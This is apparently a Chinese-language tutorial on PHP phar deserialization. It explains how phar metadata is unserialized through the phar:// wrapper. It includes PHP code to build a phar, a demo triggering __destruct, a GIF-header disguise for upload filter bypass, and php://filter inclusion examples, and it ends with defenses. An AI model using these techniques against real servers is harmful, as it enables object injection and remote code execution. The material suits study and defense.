phar反序列化漏洞

概要

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

关于流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://
例如常见的

include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

漏洞成因

phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

原理分析

phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)

stub:标识作用,格式为xxx,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;

manifest describing the contents:其实可以理解为phar文件本质上是一种压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;

img

the file contents:这里指的是被压缩文件的内容;

[optional] a signature for verifying Phar integrity (phar file format only):签名,放在结尾;

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("sakura.phar"); //后缀名必须为phar

$phar->startBuffering(); //开始缓冲 Phar 写操作

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();

$o -> data='sakura';

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

访问一下,发现同目录下生成了一个.phar后缀的文件(如果这步无法创建,请修改php.ini的配置,设置phar.readonly = off 并去掉前面的分号)

image-20211027213811961

打开:

image-20211027215216183

发现写入的内容已经被序列化。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

img

漏洞利用

phar_fan.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

image-20211027215532641

我们来简要说明下整个调用流程:

访问 phar_fun.php这个文件

执行incleude代码

解析phar文件

将里面的meta-data反序列化,在上述代码中也就是TestObject这个对象。

对象销毁,调用魔术方法__destruct()

执行echo语句完成攻击。

将phar伪造成其他格式的文件

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }

    @unlink("sakura.phar");
    $phar = new Phar("sakura.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

然后调用phar://sakura.php

是一样的效果。

漏洞的利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

防御

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。